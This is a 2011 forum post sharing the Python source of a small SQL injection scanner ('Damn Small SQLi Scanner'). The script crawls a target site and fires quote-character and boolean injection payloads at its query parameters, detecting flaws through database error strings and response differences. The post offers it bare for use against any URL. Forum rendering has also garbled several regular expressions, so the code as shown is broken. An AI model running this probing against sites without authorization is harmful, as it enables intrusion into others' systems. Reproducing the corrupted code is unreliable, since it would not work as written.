[Python] SQLI Scanner v0.1 B

View previous topic View next topic Go down

[Python] SQLI Scanner v0.1 B

Post  Cyberarmy on Sat Sep 03, 2011 12:29 pm

Code:
#!/usr/bin/env python

import difflib, httplib, optparse, random, re, sys, urllib2, urlparse

NAME    = "Damn Small SQLi Scanner (DSSS) < 100 LOC (Lines of Code)"
VERSION = "0.1b"
AUTHOR  = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)"
LICENSE = "GPLv2 ([You must be registered and logged in to see this link.]
NOTE    = "This is a fully working PoC proving that commercial (SQLi) scanners can be beaten under 100 lines of code (6 hours of work, boolean, error, level 1 crawl)"

INVALID_SQL_CHAR_POOL = ['(',')','\'','"']
CRAWL_EXCLUDE_EXTENSIONS = ("gif","jpg","jar","tif","bmp","war","ear","mpg","wmv","mpeg","scm","iso","dmp","dll","cab","so","avi","bin","exe","iso","tar","png","pdf","ps","mp3","zip","rar","gz")
SUFFIXES = ["", "-- ", "#"]
PREFIXES = [" ", ") ", "' ", "') "]
BOOLEANS = ["AND %d=%d", "OR NOT (%d=%d)"]

DBMS_ERRORS = {}
DBMS_ERRORS["MySQL"] = [r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."]
DBMS_ERRORS["PostgreSQL"] = [r"PostgreSQL.*ERROr", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."]
DBMS_ERRORS["Microsoft SQL Server"] = [r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"Exception Details:.*\WSystem\.Data\.SqlClient\.", r"Exception Details:.*\WRoadhouse\.Cms\."]
DBMS_ERRORS["Microsoft Access"] = [r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"]
DBMS_ERRORS["Oracle"] = [r"ORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"]
DBMS_ERRORS["IBM DB2"] = [r"CLI Driver.*DB2", r"DB2 SQL error", r"db2_connect\(", r"db2_exec\(", r"db2_execute\(", r"db2_fetch_"]
DBMS_ERRORS["Informix"] = [r"Exception.*Informix"]
DBMS_ERRORS["Firebird"] = [r"Dynamic SQL Error", r"Warning.*ibase_.*"]
DBMS_ERRORS["SQLite"] = [r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::"]
DBMS_ERRORS["SAP MaxDB"] = [r"SQL error.*POS([0-9]+).*", r"Warning.*maxdb.*"]
DBMS_ERRORS["Sybase"] = [r"Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"]
DBMS_ERRORS["Ingres"] = [r"Warning.*ingres_", r"Ingres SQLSTATE", r"Ingres\W.*Driver"]

def getTextOnly(page):
    retVal = re.sub(r"(?s)|<!--.+?-->||<[^>]+>|\s", " ", page)
    retVal = re.sub(r"\s{2,}", " ", retVal)
    return retVal

def retrieveContent(url):
    retVal = ["", httplib.OK, "", ""] # [filtered/textual page content, HTTP code, page title, full page content]
    try:
        retVal[3] = urllib2.urlopen(url.replace(" ", "%20")).read()
    except Exception, e:
        if hasattr(e, 'read'):
            retVal[3] = e.read()
        elif hasattr(e, 'msg'):
            retVal[3] = e.msg
        retVal[1] = e.code if hasattr(e, 'code') else None
    match = re.search(r"(?P<title>[^<]+)", retVal[3])
    retVal[2] = match.group("title") if match else ""
    retVal[0] = getTextOnly(retVal[3])
    return retVal

def shallowCrawl(url):
    retVal = set([url])
    page = retrieveContent(url)[3]
    for match in re.finditer(r"href\s*=\s*\"(?P[^\"]+)\"", page, re.I):
        link = urlparse.urljoin(url, match.group("href"))
        if link.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS:
            if reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, link])):
                retVal.add(link)
    return retVal

def scanPage(url):
    for link in shallowCrawl(url):
        print "* scanning: %s" % link
        for match in re.finditer(r"(?:[?&;])((?P\w+)=[^&;]+)", link):
            vulnerable = False
            tampered = link.replace(match.group(0), match.group(0) + "".join(random.sample(INVALID_SQL_CHAR_POOL, len(INVALID_SQL_CHAR_POOL))))
            content = retrieveContent(tampered)
            for dbms in DBMS_ERRORS:
                for regex in DBMS_ERRORS[dbms]:
                    if not vulnerable and re.search(regex, content[0], re.I):
                        print " (o) parameter '%s' could be SQLi vulnerable! (%s error message)" % (match.group('parameter'), dbms)
                        vulnerable = True
            if not vulnerable:
                original = retrieveContent(link)
                a, b = random.randint(100, 255), random.randint(100, 255)
                for prefix in PREFIXES:
                    for boolean in BOOLEANS:
                        for suffix in SUFFIXES:
                            if not vulnerable:
                                template = "%s%s%s" % (prefix, boolean, suffix)
                                payloads = (link.replace(match.group(0), match.group(0) + (template % (a, a))), link.replace(match.group(0), match.group(0) + (template % (a, b))))
                                contents = [retrieveContent(payloads[0]), retrieveContent(payloads[1])]
                                if any(map(lambda x: original[x] == contents[0][x] != contents[1][x], [1, 2])) or len(original) == len(contents[0][0]) != len(contents[1][0]):
                                    vulnerable = True
                                else:
                                    ratios = map(lambda x: difflib.SequenceMatcher(None, original[0], x).quick_ratio(), [contents[0][0], contents[1][0]])
                                    vulnerable = ratios[0] > 0.95 and ratios[1] < 0.95
                                if vulnerable:
                                    print " (i) parameter '%s' appears to be SQLi vulnerable! (\"%s\")" % (match.group('parameter'), payloads[0])

if __name__ == "__main__":
    print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
    parser = optparse.OptionParser(version=VERSION)
    parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.target.com/page.htm?id=1\")")
    options, _ = parser.parse_args()
    if options.url:
        scanPage(options.url)
    else:
        parser.print_help()

[You must be registered and logged in to see this link.]
avatar
Cyberarmy
Admin

Posts : 30
Join date : 2011-01-09

View user profile http://cyberarmy.forumms.net

Back to top Go down

View previous topic View next topic Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum